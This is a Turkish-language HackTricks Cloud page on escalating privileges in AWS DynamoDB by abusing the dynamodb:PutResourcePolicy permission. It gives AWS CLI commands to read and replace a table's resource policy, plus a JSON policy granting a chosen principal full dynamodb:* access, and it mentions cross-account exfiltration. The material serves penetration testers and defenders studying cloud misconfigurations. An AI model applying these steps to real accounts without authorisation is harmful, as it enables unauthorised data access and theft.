AWS - DynamoDB Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
dynamodb
dynamodb hakkında daha fazla bilgi için bakınız:
dynamodb:PutResourcePolicy, ve isteğe bağlı olarak dynamodb:GetResourcePolicy
Mart 2024’ten beri, AWS DynamoDB için kaynak tabanlı politikalar sunuyor (AWS News).
Bu yüzden, bir tablo için dynamodb:PutResourcePolicy iznine sahipseniz, kendinize veya herhangi bir diğer principal’a tablonun tam erişimini verebilirsiniz.
Rastgele bir principal’e dynamodb:PutResourcePolicy vermek çoğunlukla kazara olur; eğer yöneticiler dynamodb:Put* vermenin sadece principal’in veritabanına item koymasına izin vereceğini düşünürse — veya bu permissionset’i Mart 2024’ten önce vermişlerse…
İdeal olarak ayrıca dynamodb:GetResourcePolicy izniniz de olur, böylece diğer muhtemelen hayati izinleri üzerine yazmaz, sadece ihtiyacınız olan ek izinleri enjekte edersiniz:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Mevcut politikayı alamıyorsanız, tablo üzerinde principal’inize tam erişim veren bu politikayı kullanın:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Eğer bunu özelleştirmeniz gerekirse, tüm olası DynamoDB eylemlerinin listesi burada: AWS Documentation. Ve resource based policy ile izin verilebilecek tüm eylemlerin ve bunlardan hangilerinin cross-account olarak kullanılabileceğinin (düşünün data exfiltration!) listesi burada: AWS Documentation
Şimdi, policy document policy.json hazırsa, resource policy’i yerleştirin:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Şimdi ihtiyacınız olan izinlere sahip olmalısınız.
Post Exploitation
Bildiğim kadarıyla sadece bazı AWS dynamodb izinlerine sahip olarak AWS üzerinde ayrıcalıkları yükseltmenin başka doğrudan bir yolu yoktur. Tablolardan hassas bilgileri okuyabilir (bu bilgiler AWS credentials içerebilir) ve tablolara bilgi yazabilirsiniz (bu, lambda code injections… gibi diğer zafiyetleri tetikleyebilir) fakat tüm bu seçenekler zaten DynamoDB Post Exploitation page içinde ele alınmıştır:
AWS - DynamoDB Post Exploitation
TODO: data Streams’ı suistimal ederek veri okuma
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

